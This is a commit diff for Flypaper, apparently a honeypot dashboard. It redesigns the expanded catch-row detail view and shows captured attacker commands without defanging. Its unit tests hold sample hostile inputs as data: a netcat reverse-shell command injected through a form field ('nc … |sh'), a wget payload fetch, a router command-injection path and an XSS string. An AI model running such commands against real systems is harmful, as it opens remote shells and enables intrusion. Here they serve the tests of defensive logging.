Redesign the opened catch row around plain language
Full-width detail area with the explanation first, clearly named facts for commands and collapsed technical details; the list hides the requested host. Changelog prepared for 0.11.1. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
1 parent
c2ecb14b4a
commit
100c092b7e
7 files changed
+238
-107
No files matched your search
+13
-1
@@ -6,6 +6,17 @@ All notable changes to Flypaper are documented in this file. The format follows
|
|||||||
|
|
||||||
## [Unreleased]
|
## [Unreleased]
|
||||||
|
|
||||||
|
## [0.11.1] - 2026-11-27
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Dashboard catch list: opened rows show a full-width detail area: the explanation in plain language first, for
|
||||||
|
commands the facts „Angreifer“, „Fremder Server“ and „Befehl“, then collapsed „Technische Details“ (full
|
||||||
|
request URL, origin, user agent, recorded headers and body). The list shows only method and path (without
|
||||||
|
the requested host); commands are marked with „⚠“. Commands and servers are no longer defanged in the
|
||||||
|
dashboard (still plain text, never links); MCP `list_commands` stays defanged.
|
||||||
|
- The filter bar of the catch list fits the filter „Befehl“ into one row.
|
||||||
|
|
||||||
## [0.11.0] - 2026-11-27
|
## [0.11.0] - 2026-11-27
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
@@ -289,7 +300,8 @@ First release.
|
|||||||
- Unraid Docker template; when started as root, the container hands `/data` to its app user
|
- Unraid Docker template; when started as root, the container hands `/data` to its app user
|
||||||
and drops privileges.
|
and drops privileges.
|
||||||
|
|
||||||
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.0...main
|
[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.1...main
|
||||||
|
[0.11.1]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.1
|
||||||
[0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0
|
[0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0
|
||||||
[0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0
|
[0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0
|
||||||
[0.9.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.9.0
|
[0.9.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.9.0
|
||||||
|
|||||||
@@ -3,7 +3,6 @@
|
|||||||
@using Flypaper.Core.Models
|
@using Flypaper.Core.Models
|
||||||
@using Flypaper.Http
|
@using Flypaper.Http
|
||||||
@using Microsoft.Extensions.Options
|
@using Microsoft.Extensions.Options
|
||||||
@using Flypaper.Core.Analysis
|
|
||||||
@using Flypaper.Storage.Dashboard
|
@using Flypaper.Storage.Dashboard
|
||||||
@using Flypaper.Storage.Queries
|
@using Flypaper.Storage.Queries
|
||||||
@using Flypaper.Storage.Entities
|
@using Flypaper.Storage.Entities
|
||||||
@@ -122,8 +121,8 @@
|
|||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th>Zuletzt</th>
|
<th>Zuletzt</th>
|
||||||
<th>Zielserver</th>
|
<th>Fremder Server</th>
|
||||||
<th>Befehl (entschärft)</th>
|
<th>Befehl</th>
|
||||||
<th>Letzte Angreifer-IP</th>
|
<th>Letzte Angreifer-IP</th>
|
||||||
<th class="num">Fänge</th>
|
<th class="num">Fänge</th>
|
||||||
<th class="num">IPs</th>
|
<th class="num">IPs</th>
|
||||||
@@ -135,8 +134,8 @@
|
|||||||
var last = command.LastSeen.ToLocalTime();
|
var last = command.LastSeen.ToLocalTime();
|
||||||
<tr>
|
<tr>
|
||||||
<td title="Zuerst gesehen: @command.FirstSeen.ToLocalTime().ToString("dd.MM.yyyy HH:mm")">@last.ToString("dd.MM. HH:mm")</td>
|
<td title="Zuerst gesehen: @command.FirstSeen.ToLocalTime().ToString("dd.MM.yyyy HH:mm")">@last.ToString("dd.MM. HH:mm")</td>
|
||||||
<td class="mono">@(command.Server is { } server ? Defang.Server(server) : "–")</td>
|
<td class="mono">@(command.Server is { } server ? Formatting.Server(server) : "–")</td>
|
||||||
<td class="mono command-text">@Defang.Text(command.Command)</td>
|
<td class="mono command-text">@Formatting.CommandParts(command.Command).Command</td>
|
||||||
<td class="mono"><a href="@(new DashboardFilter { Ip = command.LastIp, Befehl = "ja" }.Href())">@command.LastIp</a></td>
|
<td class="mono"><a href="@(new DashboardFilter { Ip = command.LastIp, Befehl = "ja" }.Href())">@command.LastIp</a></td>
|
||||||
<td class="num">@Formatting.Number(command.Catches)</td>
|
<td class="num">@Formatting.Number(command.Catches)</td>
|
||||||
<td class="num">@Formatting.Number(command.Ips)</td>
|
<td class="num">@Formatting.Number(command.Ips)</td>
|
||||||
@@ -312,26 +311,20 @@
|
|||||||
<td class="c-target mono" title="@target">
|
<td class="c-target mono" title="@target">
|
||||||
@if (trapEvent.Command is not null)
|
@if (trapEvent.Command is not null)
|
||||||
{
|
{
|
||||||
<span class="badge command-badge" title="@Defang.Text(trapEvent.Command)">⚠ Befehl</span>
|
<span class="command-mark" title="Angriff mit Befehl" role="img" aria-label="Angriff mit Befehl">⚠</span>
|
||||||
}
|
}
|
||||||
@target
|
@Formatting.RequestPath(trapEvent.Target)
|
||||||
@if (trapEvent.Command is { } injected)
|
</td>
|
||||||
{
|
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
||||||
<div class="extra extra-all command-found">
|
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
||||||
<strong>⚠ Befehl erkannt (entschärft)</strong>
|
<td class="c-duration num">@duration</td>
|
||||||
<div class="mono command-text">@Defang.Text(injected)</div>
|
<td class="c-bytes num">@bytes</td>
|
||||||
@if (trapEvent.CommandServer is { } commandServer)
|
<td class="c-outcome"><span class="outcome @trapEvent.Outcome.ToString().ToLowerInvariant()">@OutcomeLabel(trapEvent.Outcome)</span></td>
|
||||||
{
|
</tr>
|
||||||
<div>Zielserver: <span class="mono">@Defang.Server(commandServer)</span></div>
|
<tr class="detail-row" hidden>
|
||||||
}
|
<td colspan="10">
|
||||||
</div>
|
<div class="catch-detail">
|
||||||
}
|
<h3 class="@(trapEvent.Command is null ? null : "alert")">@(trapEvent.Command is null ? "Was ist passiert?" : "⚠ Angriff mit Befehl")</h3>
|
||||||
<div class="extra extra-md">Provider: @(provider ?? "–")</div>
|
|
||||||
<div class="extra extra-md">User-Agent: @(trapEvent.ClientInfo ?? "–")</div>
|
|
||||||
<div class="extra extra-all">Herkunft: @(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {code} · {Origin(trapEvent)}" : "–")</div>
|
|
||||||
<div class="extra extra-sm">Dauer: @duration · Bytes: @bytes</div>
|
|
||||||
<div class="extra extra-all explain">
|
|
||||||
<strong>Was ist passiert?</strong>
|
|
||||||
@if (explanation.Target is { } targetRule)
|
@if (explanation.Target is { } targetRule)
|
||||||
{
|
{
|
||||||
<p>@targetRule.Text</p>
|
<p>@targetRule.Text</p>
|
||||||
@@ -348,22 +341,56 @@
|
|||||||
{
|
{
|
||||||
<p>@outcomeRule.Text</p>
|
<p>@outcomeRule.Text</p>
|
||||||
}
|
}
|
||||||
|
@if (trapEvent.Command is { } command)
|
||||||
|
{
|
||||||
|
var (field, text) = Formatting.CommandParts(command);
|
||||||
|
<dl class="facts">
|
||||||
|
<dt>Angreifer</dt>
|
||||||
|
<dd><span class="mono">@trapEvent.RemoteIp</span>@(provider is null ? "" : $" · {provider}")@(trapEvent.CountryCode is null ? "" : $" · {Origin(trapEvent)}")</dd>
|
||||||
|
@if (trapEvent.CommandServer is { } server)
|
||||||
|
{
|
||||||
|
<dt>Fremder Server</dt>
|
||||||
|
<dd class="mono">@Formatting.Server(server)</dd>
|
||||||
|
}
|
||||||
|
<dt>Befehl</dt>
|
||||||
|
<dd>
|
||||||
|
<code>@text</code>
|
||||||
|
@if (field is not null)
|
||||||
|
{
|
||||||
|
<span class="muted">eingeschleust über das Feld „@field“</span>
|
||||||
|
}
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
}
|
||||||
|
<details data-remember="details:@trapEvent.Id">
|
||||||
|
<summary>Technische Details</summary>
|
||||||
|
<dl class="facts">
|
||||||
|
<dt>Anfrage</dt>
|
||||||
|
<dd class="mono">@target</dd>
|
||||||
|
<dt>Zeit</dt>
|
||||||
|
<dd>@started.ToString("dd.MM.yyyy HH:mm:ss")</dd>
|
||||||
|
<dt>Herkunft</dt>
|
||||||
|
<dd>@(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {Origin(trapEvent)}" : "–")</dd>
|
||||||
|
<dt>Provider</dt>
|
||||||
|
<dd>@(provider ?? "–")</dd>
|
||||||
|
<dt>User-Agent</dt>
|
||||||
|
<dd>@(trapEvent.ClientInfo ?? "–")</dd>
|
||||||
|
<dt>Strategie</dt>
|
||||||
|
<dd>@strategy.DisplayName</dd>
|
||||||
|
<dt>Verlauf</dt>
|
||||||
|
<dd>@duration · @bytes Byte · @OutcomeLabel(trapEvent.Outcome)</dd>
|
||||||
|
</dl>
|
||||||
|
@if (recent.WithRequest.Contains(trapEvent.Id))
|
||||||
|
{
|
||||||
|
<div class="request" data-request="catches/@trapEvent.Id/request">
|
||||||
|
<strong>Gesendete Anfrage</strong>
|
||||||
|
<span class="muted">· vom Angreifer geschrieben</span>
|
||||||
|
<div class="request-content"><span class="muted">Wird geladen …</span></div>
|
||||||
|
</div>
|
||||||
|
}
|
||||||
|
</details>
|
||||||
</div>
|
</div>
|
||||||
@if (recent.WithRequest.Contains(trapEvent.Id))
|
|
||||||
{
|
|
||||||
<div class="extra extra-all request" data-request="catches/@trapEvent.Id/request">
|
|
||||||
<strong>Gesendete Anfrage</strong>
|
|
||||||
<span class="muted">· vom Angreifer geschrieben</span>
|
|
||||||
<div class="request-content"><span class="muted">Wird geladen …</span></div>
|
|
||||||
</div>
|
|
||||||
}
|
|
||||||
<div class="extra extra-xs">Datum: @started.ToString("dd.MM.yyyy") · Ausgang: @OutcomeLabel(trapEvent.Outcome)</div>
|
|
||||||
</td>
|
</td>
|
||||||
<td class="c-strategy" title="@strategy.Tooltip">@strategy.DisplayName@foreach (var badge in strategy.Badges){<span class="badge">@badge</span>}</td>
|
|
||||||
<td class="c-agent" title="@trapEvent.ClientInfo">@trapEvent.ClientInfo</td>
|
|
||||||
<td class="c-duration num">@duration</td>
|
|
||||||
<td class="c-bytes num">@bytes</td>
|
|
||||||
<td class="c-outcome"><span class="outcome @trapEvent.Outcome.ToString().ToLowerInvariant()">@OutcomeLabel(trapEvent.Outcome)</span></td>
|
|
||||||
</tr>
|
</tr>
|
||||||
}
|
}
|
||||||
</tbody>
|
</tbody>
|
||||||
|
|||||||
@@ -1,8 +1,9 @@
|
|||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
|
using System.Text.RegularExpressions;
|
||||||
|
|
||||||
namespace Flypaper.Web.Components.Shared;
|
namespace Flypaper.Web.Components.Shared;
|
||||||
|
|
||||||
public static class Formatting
|
public static partial class Formatting
|
||||||
{
|
{
|
||||||
public static readonly CultureInfo German = CultureInfo.GetCultureInfo("de-DE");
|
public static readonly CultureInfo German = CultureInfo.GetCultureInfo("de-DE");
|
||||||
|
|
||||||
@@ -49,5 +50,29 @@ public static class Formatting
|
|||||||
: target;
|
: target;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static string? RequestPath(string? target)
|
||||||
|
{
|
||||||
|
var space = target?.IndexOf(' ') ?? -1;
|
||||||
|
var slash = space < 0 ? -1 : target!.IndexOf('/', space);
|
||||||
|
return slash < 0 ? target : $"{target![..space]} {target[slash..]}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string Server(string server)
|
||||||
|
{
|
||||||
|
var colon = server.LastIndexOf(':');
|
||||||
|
return colon > 0 && server.AsSpan(colon + 1) is { Length: > 0 } port && !port.ContainsAnyExceptInRange('0', '9')
|
||||||
|
? $"{server[..colon]}, Port {port}"
|
||||||
|
: server;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static (string? Field, string Command) CommandParts(string command)
|
||||||
|
{
|
||||||
|
var match = FormField().Match(command);
|
||||||
|
return match.Success ? (match.Groups[1].Value, command[match.Length..]) : (null, command);
|
||||||
|
}
|
||||||
|
|
||||||
|
[GeneratedRegex(@"^([A-Za-z_][A-Za-z0-9_.-]{0,39})=(?!=)")]
|
||||||
|
private static partial Regex FormField();
|
||||||
|
|
||||||
public static string? Provider(long? asn, string? provider) => asn is null ? provider : $"AS{asn} {provider}".TrimEnd();
|
public static string? Provider(long? asn, string? provider) => asn is null ? provider : $"AS{asn} {provider}".TrimEnd();
|
||||||
}
|
}
|
||||||
@@ -335,7 +335,7 @@ code {
|
|||||||
|
|
||||||
.filters {
|
.filters {
|
||||||
display: grid;
|
display: grid;
|
||||||
grid-template-columns: minmax(110px, 140px) minmax(120px, 150px) minmax(160px, 230px) minmax(180px, 1fr) auto;
|
grid-template-columns: minmax(90px, 120px) minmax(100px, 140px) minmax(110px, 180px) minmax(100px, 150px) minmax(100px, 150px) minmax(150px, 1fr) auto;
|
||||||
gap: 10px;
|
gap: 10px;
|
||||||
align-items: end;
|
align-items: end;
|
||||||
margin-bottom: 12px;
|
margin-bottom: 12px;
|
||||||
@@ -463,10 +463,6 @@ a.button:hover {
|
|||||||
white-space: nowrap;
|
white-space: nowrap;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table tr.open .extra-all {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .c-time {
|
.recent-table .c-time {
|
||||||
width: 116px;
|
width: 116px;
|
||||||
}
|
}
|
||||||
@@ -495,24 +491,12 @@ a.button:hover {
|
|||||||
width: 190px;
|
width: 190px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table .extra {
|
|
||||||
display: none;
|
|
||||||
margin-top: 4px;
|
|
||||||
color: var(--muted);
|
|
||||||
font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
|
|
||||||
font-size: 12px;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 1199px) {
|
@media (max-width: 1199px) {
|
||||||
.recent-table .c-provider,
|
.recent-table .c-provider,
|
||||||
.recent-table .c-strategy,
|
.recent-table .c-strategy,
|
||||||
.recent-table .c-agent {
|
.recent-table .c-agent {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table tr.open .extra-md {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (max-width: 899px) {
|
@media (max-width: 899px) {
|
||||||
@@ -521,10 +505,6 @@ a.button:hover {
|
|||||||
.recent-table .c-bytes {
|
.recent-table .c-bytes {
|
||||||
display: none;
|
display: none;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table tr.open .extra-sm {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@media (max-width: 599px) {
|
@media (max-width: 599px) {
|
||||||
@@ -540,10 +520,6 @@ a.button:hover {
|
|||||||
.recent-table .c-ip {
|
.recent-table .c-ip {
|
||||||
width: 120px;
|
width: 120px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table tr.open .extra-xs {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.scroll {
|
.scroll {
|
||||||
@@ -1646,37 +1622,6 @@ button.danger-text {
|
|||||||
gap: 6px;
|
gap: 6px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table .explain {
|
|
||||||
color: var(--text);
|
|
||||||
white-space: normal;
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .explain p {
|
|
||||||
margin: 2px 0 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .explain .muted {
|
|
||||||
color: var(--muted);
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .request {
|
|
||||||
color: var(--text);
|
|
||||||
white-space: normal;
|
|
||||||
cursor: auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .request .muted {
|
|
||||||
color: var(--muted);
|
|
||||||
}
|
|
||||||
|
|
||||||
.recent-table .request pre {
|
|
||||||
margin: 2px 0 6px;
|
|
||||||
max-height: 18em;
|
|
||||||
overflow: auto;
|
|
||||||
white-space: pre-wrap;
|
|
||||||
overflow-wrap: anywhere;
|
|
||||||
}
|
|
||||||
|
|
||||||
.command-card .card-head a {
|
.command-card .card-head a {
|
||||||
text-decoration: none;
|
text-decoration: none;
|
||||||
}
|
}
|
||||||
@@ -1690,16 +1635,90 @@ button.danger-text {
|
|||||||
overflow-wrap: anywhere;
|
overflow-wrap: anywhere;
|
||||||
}
|
}
|
||||||
|
|
||||||
.command-badge {
|
.command-mark {
|
||||||
margin: 0 6px 0 0;
|
margin-right: 6px;
|
||||||
border: 1px solid currentColor;
|
|
||||||
color: var(--accent);
|
color: var(--accent);
|
||||||
font-family: inherit;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.recent-table .command-found {
|
.recent-table .detail-row td {
|
||||||
color: var(--text);
|
overflow: visible;
|
||||||
white-space: normal;
|
white-space: normal;
|
||||||
|
padding: 4px 8px 16px;
|
||||||
|
background: color-mix(in srgb, var(--text) 4%, transparent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail {
|
||||||
|
max-width: 62rem;
|
||||||
|
overflow-wrap: anywhere;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail h3 {
|
||||||
|
margin: 10px 0 6px;
|
||||||
|
font-size: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail h3.alert {
|
||||||
|
color: var(--accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail p {
|
||||||
|
margin: 0 0 4px;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail .facts {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: max-content minmax(0, 1fr);
|
||||||
|
gap: 6px 16px;
|
||||||
|
margin: 12px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail .facts dt {
|
||||||
|
color: var(--muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail .facts dd {
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail code {
|
||||||
|
display: inline-block;
|
||||||
|
margin-right: 10px;
|
||||||
|
padding: 2px 8px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 4px;
|
||||||
|
background: var(--surface);
|
||||||
|
white-space: pre-wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail summary {
|
||||||
|
margin-top: 8px;
|
||||||
|
color: var(--muted);
|
||||||
|
cursor: pointer;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail .request pre {
|
||||||
|
margin: 2px 0 8px;
|
||||||
|
padding: 8px 10px;
|
||||||
|
max-height: 18em;
|
||||||
|
overflow: auto;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 4px;
|
||||||
|
background: var(--surface);
|
||||||
|
font-size: 12px;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 599px) {
|
||||||
|
.catch-detail .facts {
|
||||||
|
grid-template-columns: minmax(0, 1fr);
|
||||||
|
gap: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.catch-detail .facts dd {
|
||||||
|
margin-bottom: 8px;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
.inline-form {
|
.inline-form {
|
||||||
|
|||||||
@@ -11,7 +11,7 @@
|
|||||||
};
|
};
|
||||||
|
|
||||||
const showRequest = async row => {
|
const showRequest = async row => {
|
||||||
const holder = row.querySelector("[data-request]");
|
const holder = row.nextElementSibling?.querySelector("[data-request]");
|
||||||
if (!holder || holder.dataset.loaded) {
|
if (!holder || holder.dataset.loaded) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -51,6 +51,16 @@
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const fitDetail = row => {
|
||||||
|
const headers = row.closest("table")?.tHead?.rows[0].cells;
|
||||||
|
const cell = row.nextElementSibling?.cells[0];
|
||||||
|
if (headers && cell) {
|
||||||
|
cell.colSpan = [...headers].filter(header => header.offsetParent !== null).length || headers.length;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
globalThis.addEventListener?.("resize", () => document.querySelectorAll("tr[data-expand]").forEach(fitDetail));
|
||||||
|
|
||||||
const stored = load();
|
const stored = load();
|
||||||
const expanded = new Set();
|
const expanded = new Set();
|
||||||
|
|
||||||
@@ -60,6 +70,11 @@
|
|||||||
const apply = open => {
|
const apply = open => {
|
||||||
row.classList.toggle("open", open);
|
row.classList.toggle("open", open);
|
||||||
row.setAttribute("aria-expanded", String(open));
|
row.setAttribute("aria-expanded", String(open));
|
||||||
|
const detail = row.nextElementSibling;
|
||||||
|
if (detail) {
|
||||||
|
detail.hidden = !open;
|
||||||
|
fitDetail(row);
|
||||||
|
}
|
||||||
open ? expanded.add(key) : expanded.delete(key);
|
open ? expanded.add(key) : expanded.delete(key);
|
||||||
if (open) {
|
if (open) {
|
||||||
showRequest(row);
|
showRequest(row);
|
||||||
@@ -73,8 +88,8 @@
|
|||||||
|
|
||||||
apply(stored.has(key));
|
apply(stored.has(key));
|
||||||
|
|
||||||
row.addEventListener("click", event => {
|
row.addEventListener("click", () => {
|
||||||
if (event.target.closest("[data-request]") || !window.getSelection()?.isCollapsed) {
|
if (!window.getSelection()?.isCollapsed) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
toggle();
|
toggle();
|
||||||
@@ -88,6 +103,19 @@
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
for (const details of document.querySelectorAll("details[data-remember]")) {
|
||||||
|
const key = details.dataset.remember;
|
||||||
|
if (stored.has(key)) {
|
||||||
|
details.open = true;
|
||||||
|
expanded.add(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
details.addEventListener("toggle", () => {
|
||||||
|
details.open ? expanded.add(key) : expanded.delete(key);
|
||||||
|
save(expanded);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
save(expanded);
|
save(expanded);
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
|||||||
@@ -14,4 +14,22 @@ public sealed class FormattingTests
|
|||||||
[InlineData(null, null)]
|
[InlineData(null, null)]
|
||||||
public void Shows_missing_host_explicitly(string? target, string? expected) =>
|
public void Shows_missing_host_explicitly(string? target, string? expected) =>
|
||||||
Formatting.Target(target).ShouldBe(expected);
|
Formatting.Target(target).ShouldBe(expected);
|
||||||
|
|
||||||
|
[Theory]
|
||||||
|
[InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")]
|
||||||
|
[InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")]
|
||||||
|
[InlineData("GET /x", "GET /x")]
|
||||||
|
public void Shows_the_request_path_without_the_host(string target, string expected) =>
|
||||||
|
Formatting.RequestPath(target).ShouldBe(expected);
|
||||||
|
|
||||||
|
[Theory]
|
||||||
|
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
|
||||||
|
[InlineData("bad.example", "bad.example")]
|
||||||
|
public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected);
|
||||||
|
|
||||||
|
[Theory]
|
||||||
|
[InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")]
|
||||||
|
[InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")]
|
||||||
|
public void Splits_the_form_field_from_the_command(string command, string? field, string text) =>
|
||||||
|
Formatting.CommandParts(command).ShouldBe((field, text));
|
||||||
}
|
}
|
||||||
@@ -46,8 +46,10 @@ public sealed partial class RequestViewTests : IDisposable
|
|||||||
|
|
||||||
var page = await client.GetStringAsync("/");
|
var page = await client.GetStringAsync("/");
|
||||||
page.ShouldContain("Eingeschleuste Befehle");
|
page.ShouldContain("Eingeschleuste Befehle");
|
||||||
page.ShouldContain("192[.]0[.]2[.]7:4545");
|
page.ShouldContain("192.0.2.7, Port 4545");
|
||||||
page.ShouldNotContain("192.0.2.7");
|
page.ShouldContain("Fremder Server");
|
||||||
|
page.ShouldContain("nc 192.0.2.7 4545|sh");
|
||||||
|
page.ShouldContain("eingeschleust über das Feld");
|
||||||
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
|
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
|
||||||
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
|
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
|
||||||
page.ShouldNotContain("<script>alert(1)</script>");
|
page.ShouldNotContain("<script>alert(1)</script>");
|
||||||
|
|||||||
Reference in new issue
Block a user